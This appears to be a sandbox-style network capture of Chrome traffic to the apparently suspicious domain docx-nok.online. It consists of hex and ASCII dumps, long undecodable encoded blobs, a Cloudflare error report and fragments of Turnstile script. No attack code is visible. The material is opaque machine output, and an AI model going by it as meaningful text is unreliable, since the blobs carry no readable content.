50 57 30 2b 63 56 30 74 5a 47 31 46 56 7a Data Ascii: 30esJ27rZKujn7BhpaEgZm2nYDJoaWgnKmppKGkxLWk2tSvt92qmdHktNPd4+Pg5MPH7Oyo0tCrydHg367EzPvN6LjUugO/AcTd1sAI+dj21r8Q98nODg3RzBgS0AvYCO4K9ejc9vXw7Nfx2QAf5SQY9QULDSIPDysxDSkZ6xAI+BMOMRYKGBAARyIjBSEiPQc/DDwjMi8gDS0tSS0ZMU1YMBoSOFJYP0Y4OGclOzZlO2dOPW0+cV0tZG1FVz
2024-04-19 15:01:42 UTC	95	IN	Data Raw: 63 4f 55 6c 6f 68 2f 75 70 75 56 78 4b 37 4c 6d 34 65 4f 72 74 4f 39 30 4a 54 58 74 64 50 59 31 74 66 61 31 64 37 5a 6e 4c 4f 37 6e 4c 6e 6b 70 37 76 58 74 36 66 4a 79 36 48 76 33 75 6e 75 36 38 48 54 79 39 58 6d 74 76 66 7a 75 72 6e 31 30 63 76 30 7a 2b 48 6a 33 38 58 36 34 4d 0d 0a Data Ascii: cOUloh/upuVxK7Lm4eOrtO90JTXtdPY1tfa1d7ZnLO7nLnkp7vXt6fJy6Hv3unu68HTy9Xmtvfzurn10cv0z+Hj38X64M
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 31 33 38 61 0d 0a 66 4a 32 77 66 69 33 77 2f 4d 43 41 48 6d 44 2b 44 68 43 77 66 55 39 74 54 71 31 77 6f 61 49 64 30 63 42 53 51 55 33 2f 50 78 49 68 76 65 46 77 44 6e 49 42 6f 66 42 4f 30 30 4a 42 59 49 4f 67 63 6b 4f 50 73 34 43 68 72 34 4d 68 34 38 41 79 56 49 4b 67 4d 6b 54 41 6b 45 48 6c 41 4e 43 42 35 55 45 51 67 52 57 42 55 4d 57 46 77 5a 48 6c 52 67 48 53 4a 62 48 32 56 53 57 57 52 45 61 79 46 44 54 6b 31 4a 4f 79 31 53 51 44 77 79 4d 30 78 4d 4e 48 46 6f 57 46 64 65 4d 58 4a 78 67 7a 6c 51 62 6c 39 47 56 46 31 58 50 56 69 48 64 6e 68 4e 69 6f 31 63 69 57 2b 57 62 32 42 76 56 33 68 37 65 6f 32 55 61 5a 32 62 56 56 2b 6c 6a 32 43 59 59 71 71 43 64 48 6d 4c 59 61 61 61 6e 36 4e 79 6b 35 4b 41 72 4b 79 6b 6a 49 74 30 73 58 2b 76 74 61 43 62 64 6f 2b Data Ascii: 138afJ2wfi3w/MCAHmD+DhCwfU9tTq1woaId0cBSQU3/PxIhveFwDnIBofBO00JBYIOgckOPs4Chr4Mh48AyVIKgMkTAkEHlANCB5UEQgRWBUMWFwZHlRgHSJbH2VSWWREayFDTk1JOy1SQDwyM0xMNHFoWFdeMXJxgzlQbl9GVF1XPViHdnhNio1ciW+Wb2BvV3h7eo2UaZ2bVV+lj2CYYqqCdHmLYaaan6Nyk5KArKykjIt0sX+vtaCbdo+
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 4e 2f 4b 42 76 6e 66 44 76 44 2b 43 68 4c 31 41 51 33 33 48 41 62 72 47 65 6a 32 43 79 54 36 4a 41 51 53 34 2b 49 63 4a 67 4d 58 43 79 33 76 42 41 38 7a 4c 67 67 31 4f 43 49 47 4a 77 38 54 39 2b 38 77 4e 78 4d 71 50 7a 59 34 4e 52 35 46 42 67 67 72 47 43 34 39 44 79 6b 38 47 7a 4d 38 4e 44 51 6b 46 6b 73 52 49 79 34 72 4c 78 68 50 4e 69 46 67 58 42 39 41 52 55 52 62 4a 32 74 47 58 69 74 4f 57 32 6b 71 4c 57 46 4d 55 6d 39 4e 4d 6d 56 6f 63 44 51 77 61 48 6b 35 57 6d 4a 34 51 44 69 41 5a 6b 64 31 61 56 56 69 54 45 78 4a 6b 49 43 41 61 46 43 55 6d 4a 6c 50 55 46 69 5a 6b 34 61 56 66 33 4f 59 6b 35 74 76 67 6d 52 2f 6c 71 68 68 6e 32 31 2b 68 71 4e 2f 6e 58 79 64 67 57 69 32 67 71 53 35 6b 34 32 2b 76 70 65 54 76 6f 47 63 76 35 54 45 6e 38 61 55 77 61 71 56 Data Ascii: N/KBvnfDvD+ChL1AQ33HAbrGej2CyT6JAQS4+IcJgMXCy3vBA8zLgg1OCIGJw8T9+8wNxMqPzY4NR5FBggrGC49Dyk8GzM8NDQkFksRIy4rLxhPNiFgXB9ARURbJ2tGXitOW2kqLWFMUm9NMmVocDQwaHk5WmJ4QDiAZkd1aVViTExJkICAaFCUmJlPUFiZk4aVf3OYk5tvgmR/lqhhn21+hqN/nXydgWi2gqS5k42+vpeTvoGcv5TEn8aUwaqV
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 63 56 43 73 34 58 34 4e 41 58 35 65 30 66 45 2f 50 7a 47 68 77 66 34 79 50 69 45 74 2f 33 49 2b 59 45 44 50 77 65 44 7a 48 72 4a 77 4c 2b 43 7a 49 46 4b 4f 77 73 2b 53 73 30 46 42 6b 56 47 41 41 41 50 51 41 36 51 45 59 2b 51 43 73 48 50 67 68 41 53 7a 74 42 55 6b 42 4e 49 55 49 6e 54 6a 31 47 4b 30 6f 39 50 6c 5a 65 5a 45 4d 7a 52 47 68 52 50 43 64 69 56 6a 78 71 54 56 74 6d 62 6c 4a 64 61 56 52 34 59 6b 68 31 52 56 4e 6e 67 46 65 41 59 47 35 41 50 33 69 43 55 31 6c 43 69 55 78 67 62 47 47 4b 5a 4a 47 55 66 6d 4b 44 61 32 39 55 54 49 79 54 62 34 61 62 6b 70 53 52 65 71 46 68 70 32 39 30 69 70 6c 72 68 5a 68 33 6a 35 69 51 6b 49 61 56 62 61 68 2f 69 6f 65 4c 64 4b 75 53 66 62 79 34 65 35 79 68 6f 4c 65 44 78 36 4b 36 66 48 32 33 78 63 71 6f 78 4c 79 4d 76 Data Ascii: cVCs4X4NAX5e0fE/PzGhwf4yPiEt/3I+YEDPweDzHrJwL+CzIFKOws+Ss0FBkVGAAAPQA6QEY+QCsHPghASztBUkBNIUInTj1GK0o9PlZeZEMzRGhRPCdiVjxqTVtmblJdaVR4Ykh1RVNngFeAYG5AP3iCU1lCiUxgbGGKZJGUfmKDa29UTIyTb4abkpSReqFhp290iplrhZh3j5iQkIaVbah/ioeLdKuSfby4e5yhoLeDx6K6fH23xcqoxLyMv
2024-04-19 15:01:42 UTC	903	IN	Data Raw: 62 43 52 72 78 46 65 73 53 37 67 34 4d 44 76 66 33 41 77 51 71 4b 53 51 4e 33 77 6f 67 4a 76 7a 36 48 67 54 2b 45 78 44 7a 36 79 51 73 4d 76 51 36 4c 53 34 52 4f 77 30 4f 4c 79 38 55 45 67 6c 4d 50 52 6b 76 4f 54 77 65 51 6a 52 4a 49 43 67 75 4c 45 4d 55 47 77 35 57 47 79 31 59 4c 6d 4a 62 4e 46 30 2b 57 6a 35 61 4a 43 70 44 4b 56 74 4a 4f 79 31 53 51 44 77 79 4d 30 78 4d 4e 48 46 6f 57 46 64 70 50 46 68 68 58 46 31 6b 56 6e 4a 33 59 6d 52 6d 57 46 70 39 5a 6b 31 38 53 55 53 55 66 47 4f 4c 54 34 56 52 6c 56 6d 59 57 58 74 57 6e 56 74 76 59 6d 4e 2f 6e 48 39 38 59 57 71 6b 70 6e 32 66 71 6f 36 62 6f 6d 56 79 6a 4c 57 31 6f 4a 56 31 6c 59 61 55 6b 34 6c 2f 76 70 57 67 77 72 4f 44 72 37 69 44 76 34 69 64 76 36 33 48 70 37 37 48 6a 4b 65 50 6a 4e 69 56 6f 62 Data Ascii: bCRrxFesS7g4MDvf3AwQqKSQN3wogJvz6HgT+ExDz6yQsMvQ6LS4ROw0OLy8UEglMPRkvOTweQjRJICguLEMUGw5WGy1YLmJbNF0+Wj5aJCpDKVtJOy1SQDwyM0xMNHFoWFdpPFhhXF1kVnJ3YmRmWFp9Zk18SUSUfGOLT4VRlVmYWXtWnVtvYmN/nH98YWqkpn2fqo6bomVyjLW1oJV1lYaUk4l/vpWgwrODr7iDv4idv63Hp77HjKePjNiVob
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 38 39 37 0d 0a 73 71 79 42 64 71 4b 59 76 6f 50 49 68 36 4b 49 71 37 6a 44 6f 72 6d 2b 78 73 76 52 79 64 54 52 74 38 6d 5a 6d 64 44 61 79 4e 44 57 75 70 72 65 73 2b 62 6e 30 37 79 38 6f 75 62 61 74 2b 65 75 32 65 61 71 30 64 2f 77 78 65 7a 6e 78 38 54 71 36 72 7a 4a 79 4e 33 4d 75 66 48 6c 75 4e 44 51 39 73 66 56 35 41 50 48 32 4d 72 65 38 64 41 53 35 41 72 78 45 67 76 37 30 65 7a 79 42 78 2f 66 49 68 67 57 49 69 4d 44 4a 4f 51 46 39 53 30 58 36 67 59 67 41 53 73 53 37 53 45 49 42 69 6a 30 43 6a 41 4b 47 41 38 30 48 6a 49 7a 46 41 45 66 41 68 34 66 43 41 6f 2b 4e 78 30 6c 51 69 73 74 4b 79 46 44 51 52 52 4f 4c 78 52 53 4c 54 49 75 50 44 31 54 48 6c 35 44 56 30 34 34 59 6c 39 64 4a 30 64 66 4b 6d 5a 51 5a 46 6c 61 55 6d 59 30 4b 46 64 74 64 56 46 70 4e 33 Data Ascii: 897sqyBdqKYvoPIh6KIq7jDorm+xsvRydTRt8mZmdDayNDWupres+bn07y8oubat+eu2eaq0d/wxeznx8Tq6rzJyN3MufHluNDQ9sfV5APH2Mre8dAS5ArxEgv70ezyBx/fIhgWIiMDJOQF9S0X6gYgASsS7SEIBij0CjAKGA80HjIzFAEfAh4fCAo+Nx0lQistKyFDQRROLxRSLTIuPD1THl5DV044Yl9dJ0dfKmZQZFlaUmY0KFdtdVFpN3
2024-04-19 15:01:42 UTC	837	IN	Data Raw: 6a 62 4f 7a 67 61 69 4a 6e 36 53 44 74 5a 32 4c 70 36 6a 47 6a 63 4f 6d 6c 74 54 59 70 4b 76 50 6d 37 43 32 6e 35 4b 66 79 74 6e 56 31 4b 2b 2b 77 74 75 6e 77 4c 66 4e 79 38 58 69 7a 61 2f 43 38 63 7a 6c 37 73 37 75 39 37 6e 31 78 64 7a 58 32 2f 7a 4b 79 38 37 39 32 77 6b 4b 30 38 62 33 78 64 34 4e 7a 50 37 4c 43 67 6e 71 34 63 6a 75 44 76 51 61 32 68 6b 62 2f 64 33 33 38 41 48 63 45 66 6a 6a 42 65 62 32 41 42 6f 61 4c 2b 41 75 43 79 77 6a 41 54 55 43 4a 77 72 33 47 54 77 72 44 43 6e 39 4e 6a 67 42 2b 44 45 4f 47 67 59 55 53 41 45 33 43 76 34 2f 52 30 4d 4e 43 30 4d 64 55 31 41 78 4b 56 68 4d 57 7a 30 56 56 42 70 67 54 56 52 66 50 32 59 63 50 6b 6c 49 52 44 59 6f 57 56 6f 6d 55 58 45 79 5a 58 42 79 4e 6b 4d 78 56 54 56 36 56 46 31 58 55 45 35 78 50 6f 4a Data Ascii: jbOzgaiJn6SDtZ2Lp6jGjcOmltTYpKvPm7C2n5KfytnV1K++wtunwLfNy8Xiza/C8czl7s7u97n1xdzX2/zKy8792wkK08b3xd4NzP7LCgnq4cjuDvQa2hkb/d338AHcEfjjBeb2ABoaL+AuCywjATUCJwr3GTwrDCn9NjgB+DEOGgYUSAE3Cv4/R0MNC0MdU1AxKVhMWz0VVBpgTVRfP2YcPklIRDYoWVomUXEyZXByNkMxVTV6VF1XUE5xPoJ
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 64 38 39 0d 0a 31 45 52 51 51 2b 68 41 5a 48 42 41 5a 52 44 70 45 47 6a 6f 5a 46 78 63 37 43 7a 30 66 50 6a 41 49 4c 56 4a 53 4d 52 39 4a 49 45 34 72 4a 6a 68 47 4d 56 31 53 4d 7a 77 75 55 6b 4d 7a 56 55 52 68 51 6a 52 4e 4f 45 4a 67 50 43 77 2b 59 32 59 79 51 69 35 41 53 45 39 45 58 55 31 55 52 32 70 79 55 55 31 79 4e 31 4a 33 55 48 4a 54 6a 47 68 32 58 49 39 6b 68 6d 4e 74 66 6d 5a 69 68 34 61 43 63 46 4b 4f 62 33 52 6f 64 49 35 78 6c 4a 4a 32 63 6f 4f 53 6e 59 57 72 62 49 61 45 65 59 53 69 65 34 32 49 68 59 65 32 62 33 61 51 75 71 65 50 6a 36 32 75 6e 49 2b 7a 73 71 4f 66 6f 62 4b 2b 6c 4b 50 43 6d 4b 4f 2b 72 49 6d 70 30 6f 2b 7a 70 59 36 58 77 71 50 61 73 4e 79 73 33 64 4f 75 72 4b 36 30 70 62 58 6c 78 4e 32 32 36 71 75 39 77 4c 75 34 79 38 6a 69 72 Data Ascii: d891ERQQ+hAZHBAZRDpEGjoZFxc7Cz0fPjAILVJSMR9JIE4rJjhGMV1SMzwuUkMzVURhQjRNOEJgPCw+Y2YyQi5ASE9EXU1UR2pyUU1yN1J3UHJTjGh2XI9khmNtfmZih4aCcFKOb3RodI5xlJJ2coOSnYWrbIaEeYSie42IhYe2b3aQuqePj62unI+zsqOfobK+lKPCmKO+rImp0o+zpY6XwqPasNys3dOurK60pbXlxN226qu9wLu4y8jir

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.18	49694	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:41 UTC	490	OUT	POST /report/v4?s=%2Fig0HEQ%2Blnw5kYrXqwSh28tVKyhsW%2FGo6%2FhwGbDcWOvIAlpMk1kgk1JhaBhJ5M1YrS0uojY23Xoi%2BN47DdM6vN%2F5rD%2BGj%2FcPHA4RxEP2%2FDwRK3vydqY5rbJrqAE02182yTE%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 386 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:41 UTC	386	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 30 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 37 39 2e 31 34 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6f 63 78 2d 6e 6f 6b 2e 6f 6e 6c 69 6e 65 Data Ascii: [{"age":4,"body":{"elapsed_time":603,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.179.148","status_code":403,"type":"http.error"},"type":"network-error","url":"https://docx-nok.online
2024-04-19 15:01:42 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 19 Apr 2024 15:01:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.18	49695	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:41 UTC	583	OUT	GET /turnstile/v0/b/471dc2adc340/api.js?onload=ZbqNq8&render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://docx-nok.online sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:42 UTC	340	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:42 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 876dc57a3de04548-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:42 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
